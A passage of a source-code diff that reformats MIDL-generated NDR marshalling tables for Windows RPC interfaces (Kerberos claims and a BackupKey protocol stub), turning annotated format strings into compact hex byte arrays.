-/* 46 */	NdrFcShort( 0x2 ),	/* Offset= 2 (48) */
-/* 48 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 50 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 52 */	0x29,		/* Corr desc:  parameter, FC_ULONG */
-			0x54,		/* FC_DEREFERENCE */
-/* 54 */	NdrFcShort( 0x14 ),	/* x86 Stack size/offset = 20 */
-/* 56 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 58 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 60 */	
-			0x11, 0xc,	/* FC_RP [alloced_on_stack] [simple_pointer] */
-/* 62 */	0x8,		/* FC_LONG */
-			0x5c,		/* FC_PAD */
-
-			0x0
-        }
-    };
-#endif
-
-#if _MSC_VER >= 1200
-#pragma warning(pop)
+static const ms2Dbkrp_MIDL_PROC_FORMAT_STRING ms2Dbkrp__MIDL_ProcFormatString = {0, {
+	0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x54, 0x00, 0x24, 0x00, 0x47, 0x07, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x01, 0x04, 0x00,
+	0x0c, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x1c, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x20, 0x10, 0x00, 0x28, 0x00, 0x50, 0x21, 0x14, 0x00, 0x08, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00,
+	0x70, 0x00, 0x1c, 0x00, 0x08, 0x00, 0x00,
+}};
+static const ms2Dbkrp_MIDL_TYPE_FORMAT_STRING ms2Dbkrp__MIDL_TypeFormatString = {0, {
+	0x00, 0x00, 0x11, 0x00, 0x08, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00,
+	0x29, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x54, 0x14, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x0c, 0x08, 0x5c,
+	0x00,
+}};
 #endif
--- a/modules/rpc/kull_m_rpc_ms-claims.c
+++ b/modules/rpc/kull_m_rpc_ms-claims.c
@ -1,13 +1,5 @@
 #include "kull_m_rpc_ms-claims.h"

-#if _MSC_VER >= 1200
-#pragma warning(push)
-#endif
-
-#pragma warning(disable: 4211)  /* redefine extern to static */
-#pragma warning(disable: 4232)  /* dllimport identity*/
-#pragma warning(disable: 4024)  /* array to pointer mapping*/
-
 #ifdef _M_X64
 #define _Claims_MIDL_TYPE_FORMAT_STRING_SIZE	371
 #define _Claims_MIDL_TYPE_FORMAT_OFFSET			316
@ -17,8 +9,8 @@
 #endif

 typedef struct _Claims_MIDL_TYPE_FORMAT_STRING {
-	short          Pad;
-	unsigned char  Format[ _Claims_MIDL_TYPE_FORMAT_STRING_SIZE ];
+	SHORT Pad;
+	UCHAR Format[_Claims_MIDL_TYPE_FORMAT_STRING_SIZE];
 } Claims_MIDL_TYPE_FORMAT_STRING;

 extern const Claims_MIDL_TYPE_FORMAT_STRING Claims__MIDL_TypeFormatString;
@ -67,570 +59,33 @@ void PCLAIMS_SET_METADATA_Free(handle_t _MidlEsHandle, PCLAIMS_SET_METADATA * _p
    NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO) &__MIDL_TypePicklingInfo, &Claims_StubDesc, (PFORMAT_STRING) &Claims__MIDL_TypeFormatString.Format[_Claims_MIDL_TYPE_FORMAT_OFFSET], _pType);
 }
 #ifdef _M_X64
-static const Claims_MIDL_TYPE_FORMAT_STRING Claims__MIDL_TypeFormatString = {
-        0,
-        {
-			NdrFcShort( 0x0 ),	/* 0 */
-/*  2 */	
-			0x12, 0x0,	/* FC_UP */
-/*  4 */	NdrFcShort( 0x120 ),	/* Offset= 288 (292) */
-/*  6 */	
-			0x2b,		/* FC_NON_ENCAPSULATED_UNION */
-			0xd,		/* FC_ENUM16 */
-/*  8 */	0x6,		/* Corr desc: FC_SHORT */
-			0x0,		/*  */
-/* 10 */	NdrFcShort( 0xfff8 ),	/* -8 */
-/* 12 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 14 */	NdrFcShort( 0x2 ),	/* Offset= 2 (16) */
-/* 16 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 18 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 20 */	NdrFcLong( 0x1 ),	/* 1 */
-/* 24 */	NdrFcShort( 0x2c ),	/* Offset= 44 (68) */
-/* 26 */	NdrFcLong( 0x2 ),	/* 2 */
-/* 30 */	NdrFcShort( 0x44 ),	/* Offset= 68 (98) */
-/* 32 */	NdrFcLong( 0x3 ),	/* 3 */
-/* 36 */	NdrFcShort( 0x72 ),	/* Offset= 114 (150) */
-/* 38 */	NdrFcLong( 0x6 ),	/* 6 */
-/* 42 */	NdrFcShort( 0x8a ),	/* Offset= 138 (180) */
-/* 44 */	NdrFcShort( 0x0 ),	/* Offset= 0 (44) */
-/* 46 */	0xb7,		/* FC_RANGE */
-			0x8,		/* 8 */
-/* 48 */	NdrFcLong( 0x1 ),	/* 1 */
-/* 52 */	NdrFcLong( 0xa00000 ),	/* 10485760 */
-/* 56 */	
-			0x1b,		/* FC_CARRAY */
-			0x7,		/* 7 */
-/* 58 */	NdrFcShort( 0x8 ),	/* 8 */
-/* 60 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 62 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 64 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 66 */	0xb,		/* FC_HYPER */
-			0x5b,		/* FC_END */
-/* 68 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 70 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 72 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 74 */	NdrFcShort( 0xa ),	/* Offset= 10 (84) */
-/* 76 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 78 */	NdrFcShort( 0xffe0 ),	/* Offset= -32 (46) */
-/* 80 */	0x40,		/* FC_STRUCTPAD4 */
-			0x36,		/* FC_POINTER */
-/* 82 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 84 */	
-			0x12, 0x0,	/* FC_UP */
-/* 86 */	NdrFcShort( 0xffe2 ),	/* Offset= -30 (56) */
-/* 88 */	0xb7,		/* FC_RANGE */
-			0x8,		/* 8 */
-/* 90 */	NdrFcLong( 0x1 ),	/* 1 */
-/* 94 */	NdrFcLong( 0xa00000 ),	/* 10485760 */
-/* 98 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 100 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 102 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 104 */	NdrFcShort( 0xa ),	/* Offset= 10 (114) */
-/* 106 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 108 */	NdrFcShort( 0xffec ),	/* Offset= -20 (88) */
-/* 110 */	0x40,		/* FC_STRUCTPAD4 */
-			0x36,		/* FC_POINTER */
-/* 112 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 114 */	
-			0x12, 0x0,	/* FC_UP */
-/* 116 */	NdrFcShort( 0xffc4 ),	/* Offset= -60 (56) */
-/* 118 */	0xb7,		/* FC_RANGE */
-			0x8,		/* 8 */
-/* 120 */	NdrFcLong( 0x1 ),	/* 1 */
-/* 124 */	NdrFcLong( 0xa00000 ),	/* 10485760 */
-/* 128 */	
-			0x21,		/* FC_BOGUS_ARRAY */
-			0x3,		/* 3 */
-/* 130 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 132 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 134 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 136 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 138 */	NdrFcLong( 0xffffffff ),	/* -1 */
-/* 142 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 144 */	
-			0x12, 0x8,	/* FC_UP [simple_pointer] */
-/* 146 */	
-			0x25,		/* FC_C_WSTRING */
-			0x5c,		/* FC_PAD */
-/* 148 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 150 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 152 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 154 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 156 */	NdrFcShort( 0xa ),	/* Offset= 10 (166) */
-/* 158 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 160 */	NdrFcShort( 0xffd6 ),	/* Offset= -42 (118) */
-/* 162 */	0x40,		/* FC_STRUCTPAD4 */
-			0x36,		/* FC_POINTER */
-/* 164 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 166 */	
-			0x12, 0x0,	/* FC_UP */
-/* 168 */	NdrFcShort( 0xffd8 ),	/* Offset= -40 (128) */
-/* 170 */	0xb7,		/* FC_RANGE */
-			0x8,		/* 8 */
-/* 172 */	NdrFcLong( 0x1 ),	/* 1 */
-/* 176 */	NdrFcLong( 0xa00000 ),	/* 10485760 */
-/* 180 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 182 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 184 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 186 */	NdrFcShort( 0xa ),	/* Offset= 10 (196) */
-/* 188 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 190 */	NdrFcShort( 0xffec ),	/* Offset= -20 (170) */
-/* 192 */	0x40,		/* FC_STRUCTPAD4 */
-			0x36,		/* FC_POINTER */
-/* 194 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 196 */	
-			0x12, 0x0,	/* FC_UP */
-/* 198 */	NdrFcShort( 0xff72 ),	/* Offset= -142 (56) */
-/* 200 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 202 */	NdrFcShort( 0x20 ),	/* 32 */
-/* 204 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 206 */	NdrFcShort( 0xa ),	/* Offset= 10 (216) */
-/* 208 */	0x36,		/* FC_POINTER */
-			0xd,		/* FC_ENUM16 */
-/* 210 */	0x40,		/* FC_STRUCTPAD4 */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 212 */	0x0,		/* 0 */
-			NdrFcShort( 0xff31 ),	/* Offset= -207 (6) */
-			0x5b,		/* FC_END */
-/* 216 */	
-			0x12, 0x8,	/* FC_UP [simple_pointer] */
-/* 218 */	
-			0x25,		/* FC_C_WSTRING */
-			0x5c,		/* FC_PAD */
-/* 220 */	
-			0x21,		/* FC_BOGUS_ARRAY */
-			0x3,		/* 3 */
-/* 222 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 224 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 226 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 228 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 230 */	NdrFcLong( 0xffffffff ),	/* -1 */
-/* 234 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 236 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 238 */	NdrFcShort( 0xffda ),	/* Offset= -38 (200) */
-/* 240 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 242 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 244 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 246 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 248 */	NdrFcShort( 0x6 ),	/* Offset= 6 (254) */
-/* 250 */	0xd,		/* FC_ENUM16 */
-			0x8,		/* FC_LONG */
-/* 252 */	0x36,		/* FC_POINTER */
-			0x5b,		/* FC_END */
-/* 254 */	
-			0x12, 0x0,	/* FC_UP */
-/* 256 */	NdrFcShort( 0xffdc ),	/* Offset= -36 (220) */
-/* 258 */	
-			0x21,		/* FC_BOGUS_ARRAY */
-			0x3,		/* 3 */
-/* 260 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 262 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 264 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 266 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 268 */	NdrFcLong( 0xffffffff ),	/* -1 */
-/* 272 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 274 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 276 */	NdrFcShort( 0xffde ),	/* Offset= -34 (242) */
-/* 278 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 280 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 282 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 284 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 286 */	NdrFcShort( 0x14 ),	/* 20 */
-/* 288 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 290 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 292 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 294 */	NdrFcShort( 0x20 ),	/* 32 */
-/* 296 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 298 */	NdrFcShort( 0xa ),	/* Offset= 10 (308) */
-/* 300 */	0x8,		/* FC_LONG */
-			0x40,		/* FC_STRUCTPAD4 */
-/* 302 */	0x36,		/* FC_POINTER */
-			0x6,		/* FC_SHORT */
-/* 304 */	0x3e,		/* FC_STRUCTPAD2 */
-			0x8,		/* FC_LONG */
-/* 306 */	0x36,		/* FC_POINTER */
-			0x5b,		/* FC_END */
-/* 308 */	
-			0x12, 0x0,	/* FC_UP */
-/* 310 */	NdrFcShort( 0xffcc ),	/* Offset= -52 (258) */
-/* 312 */	
-			0x12, 0x0,	/* FC_UP */
-/* 314 */	NdrFcShort( 0xffde ),	/* Offset= -34 (280) */
-/* 316 */	
-			0x12, 0x0,	/* FC_UP */
-/* 318 */	NdrFcShort( 0x1a ),	/* Offset= 26 (344) */
-/* 320 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 322 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 324 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 326 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 328 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 330 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 332 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 334 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 336 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 338 */	NdrFcShort( 0x1c ),	/* 28 */
-/* 340 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 342 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 344 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 346 */	NdrFcShort( 0x28 ),	/* 40 */
-/* 348 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 350 */	NdrFcShort( 0xc ),	/* Offset= 12 (362) */
-/* 352 */	0x8,		/* FC_LONG */
-			0x40,		/* FC_STRUCTPAD4 */
-/* 354 */	0x36,		/* FC_POINTER */
-			0xd,		/* FC_ENUM16 */
-/* 356 */	0x8,		/* FC_LONG */
-			0x6,		/* FC_SHORT */
-/* 358 */	0x3e,		/* FC_STRUCTPAD2 */
-			0x8,		/* FC_LONG */
-/* 360 */	0x36,		/* FC_POINTER */
-			0x5b,		/* FC_END */
-/* 362 */	
-			0x12, 0x0,	/* FC_UP */
-/* 364 */	NdrFcShort( 0xffd4 ),	/* Offset= -44 (320) */
-/* 366 */	
-			0x12, 0x0,	/* FC_UP */
-/* 368 */	NdrFcShort( 0xffdc ),	/* Offset= -36 (332) */
-
-			0x0
-        }
-    };
+static const Claims_MIDL_TYPE_FORMAT_STRING Claims__MIDL_TypeFormatString = {0, {
+	0x00, 0x00, 0x12, 0x00, 0x20, 0x01, 0x2b, 0x0d, 0x06, 0x00, 0xf8, 0xff, 0x01, 0x00, 0x02, 0x00, 0x10, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x02, 0x00, 0x00, 0x00, 0x44, 0x00,
+	0x03, 0x00, 0x00, 0x00, 0x72, 0x00, 0x06, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x1b, 0x07, 0x08, 0x00, 0x19, 0x00, 0x00, 0x00,
+	0x01, 0x00, 0x0b, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, 0xe0, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xe2, 0xff, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0xa0, 0x00, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, 0xec, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xc4, 0xff, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00,
+	0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00,
+	0xd6, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, 0xec, 0xff,
+	0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0x72, 0xff, 0x1a, 0x03, 0x20, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x36, 0x0d, 0x40, 0x4c, 0x00, 0x31, 0xff, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00,
+	0x19, 0x00, 0x04, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xda, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x0d, 0x08, 0x36, 0x5b, 0x12, 0x00,
+	0xdc, 0xff, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x14, 0x00,
+	0x01, 0x00, 0x01, 0x5b, 0x1a, 0x03, 0x20, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x08, 0x40, 0x36, 0x06, 0x3e, 0x08, 0x36, 0x5b, 0x12, 0x00, 0xcc, 0xff, 0x12, 0x00, 0xde, 0xff, 0x12, 0x00, 0x1a, 0x00,
+	0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x5b, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x1c, 0x00, 0x01, 0x00, 0x01, 0x5b, 0x1a, 0x03, 0x28, 0x00, 0x00, 0x00, 0x0c, 0x00,
+	0x08, 0x40, 0x36, 0x0d, 0x08, 0x06, 0x3e, 0x08, 0x36, 0x5b, 0x12, 0x00, 0xd4, 0xff, 0x12, 0x00, 0xdc, 0xff, 0x00,
+}};
 #elif defined _M_IX86
-static const Claims_MIDL_TYPE_FORMAT_STRING Claims__MIDL_TypeFormatString = {
-        0,
-        {
-			NdrFcShort( 0x0 ),	/* 0 */
-/*  2 */	
-			0x12, 0x0,	/* FC_UP */
-/*  4 */	NdrFcShort( 0x122 ),	/* Offset= 290 (294) */
-/*  6 */	
-			0x2b,		/* FC_NON_ENCAPSULATED_UNION */
-			0xd,		/* FC_ENUM16 */
-/*  8 */	0x6,		/* Corr desc: FC_SHORT */
-			0x0,		/*  */
-/* 10 */	NdrFcShort( 0xfffc ),	/* -4 */
-/* 12 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 14 */	NdrFcShort( 0x2 ),	/* Offset= 2 (16) */
-/* 16 */	NdrFcShort( 0x8 ),	/* 8 */
-/* 18 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 20 */	NdrFcLong( 0x1 ),	/* 1 */
-/* 24 */	NdrFcShort( 0x2c ),	/* Offset= 44 (68) */
-/* 26 */	NdrFcLong( 0x2 ),	/* 2 */
-/* 30 */	NdrFcShort( 0x42 ),	/* Offset= 66 (96) */
-/* 32 */	NdrFcLong( 0x3 ),	/* 3 */
-/* 36 */	NdrFcShort( 0x78 ),	/* Offset= 120 (156) */
-/* 38 */	NdrFcLong( 0x6 ),	/* 6 */
-/* 42 */	NdrFcShort( 0x8e ),	/* Offset= 142 (184) */
-/* 44 */	NdrFcShort( 0x0 ),	/* Offset= 0 (44) */
-/* 46 */	0xb7,		/* FC_RANGE */
-			0x8,		/* 8 */
-/* 48 */	NdrFcLong( 0x1 ),	/* 1 */
-/* 52 */	NdrFcLong( 0xa00000 ),	/* 10485760 */
-/* 56 */	
-			0x1b,		/* FC_CARRAY */
-			0x7,		/* 7 */
-/* 58 */	NdrFcShort( 0x8 ),	/* 8 */
-/* 60 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 62 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 64 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 66 */	0xb,		/* FC_HYPER */
-			0x5b,		/* FC_END */
-/* 68 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 70 */	NdrFcShort( 0x8 ),	/* 8 */
-/* 72 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 74 */	NdrFcShort( 0x8 ),	/* Offset= 8 (82) */
-/* 76 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 78 */	NdrFcShort( 0xffe0 ),	/* Offset= -32 (46) */
-/* 80 */	0x36,		/* FC_POINTER */
-			0x5b,		/* FC_END */
-/* 82 */	
-			0x12, 0x0,	/* FC_UP */
-/* 84 */	NdrFcShort( 0xffe4 ),	/* Offset= -28 (56) */
-/* 86 */	0xb7,		/* FC_RANGE */
-			0x8,		/* 8 */
-/* 88 */	NdrFcLong( 0x1 ),	/* 1 */
-/* 92 */	NdrFcLong( 0xa00000 ),	/* 10485760 */
-/* 96 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 98 */	NdrFcShort( 0x8 ),	/* 8 */
-/* 100 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 102 */	NdrFcShort( 0x8 ),	/* Offset= 8 (110) */
-/* 104 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 106 */	NdrFcShort( 0xffec ),	/* Offset= -20 (86) */
-/* 108 */	0x36,		/* FC_POINTER */
-			0x5b,		/* FC_END */
-/* 110 */	
-			0x12, 0x0,	/* FC_UP */
-/* 112 */	NdrFcShort( 0xffc8 ),	/* Offset= -56 (56) */
-/* 114 */	0xb7,		/* FC_RANGE */
-			0x8,		/* 8 */
-/* 116 */	NdrFcLong( 0x1 ),	/* 1 */
-/* 120 */	NdrFcLong( 0xa00000 ),	/* 10485760 */
-/* 124 */	
-			0x1b,		/* FC_CARRAY */
-			0x3,		/* 3 */
-/* 126 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 128 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 130 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 132 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 134 */	
-			0x4b,		/* FC_PP */
-			0x5c,		/* FC_PAD */
-/* 136 */	
-			0x48,		/* FC_VARIABLE_REPEAT */
-			0x49,		/* FC_FIXED_OFFSET */
-/* 138 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 140 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 142 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 144 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 146 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 148 */	0x12, 0x8,	/* FC_UP [simple_pointer] */
-/* 150 */	
-			0x25,		/* FC_C_WSTRING */
-			0x5c,		/* FC_PAD */
-/* 152 */	
-			0x5b,		/* FC_END */
-
-			0x8,		/* FC_LONG */
-/* 154 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 156 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 158 */	NdrFcShort( 0x8 ),	/* 8 */
-/* 160 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 162 */	NdrFcShort( 0x8 ),	/* Offset= 8 (170) */
-/* 164 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 166 */	NdrFcShort( 0xffcc ),	/* Offset= -52 (114) */
-/* 168 */	0x36,		/* FC_POINTER */
-			0x5b,		/* FC_END */
-/* 170 */	
-			0x12, 0x0,	/* FC_UP */
-/* 172 */	NdrFcShort( 0xffd0 ),	/* Offset= -48 (124) */
-/* 174 */	0xb7,		/* FC_RANGE */
-			0x8,		/* 8 */
-/* 176 */	NdrFcLong( 0x1 ),	/* 1 */
-/* 180 */	NdrFcLong( 0xa00000 ),	/* 10485760 */
-/* 184 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 186 */	NdrFcShort( 0x8 ),	/* 8 */
-/* 188 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 190 */	NdrFcShort( 0x8 ),	/* Offset= 8 (198) */
-/* 192 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 194 */	NdrFcShort( 0xffec ),	/* Offset= -20 (174) */
-/* 196 */	0x36,		/* FC_POINTER */
-			0x5b,		/* FC_END */
-/* 198 */	
-			0x12, 0x0,	/* FC_UP */
-/* 200 */	NdrFcShort( 0xff70 ),	/* Offset= -144 (56) */
-/* 202 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 204 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 206 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 208 */	NdrFcShort( 0xa ),	/* Offset= 10 (218) */
-/* 210 */	0x36,		/* FC_POINTER */
-			0xd,		/* FC_ENUM16 */
-/* 212 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 214 */	NdrFcShort( 0xff30 ),	/* Offset= -208 (6) */
-/* 216 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 218 */	
-			0x12, 0x8,	/* FC_UP [simple_pointer] */
-/* 220 */	
-			0x25,		/* FC_C_WSTRING */
-			0x5c,		/* FC_PAD */
-/* 222 */	
-			0x21,		/* FC_BOGUS_ARRAY */
-			0x3,		/* 3 */
-/* 224 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 226 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 228 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 230 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 232 */	NdrFcLong( 0xffffffff ),	/* -1 */
-/* 236 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 238 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 240 */	NdrFcShort( 0xffda ),	/* Offset= -38 (202) */
-/* 242 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 244 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 246 */	NdrFcShort( 0xc ),	/* 12 */
-/* 248 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 250 */	NdrFcShort( 0x6 ),	/* Offset= 6 (256) */
-/* 252 */	0xd,		/* FC_ENUM16 */
-			0x8,		/* FC_LONG */
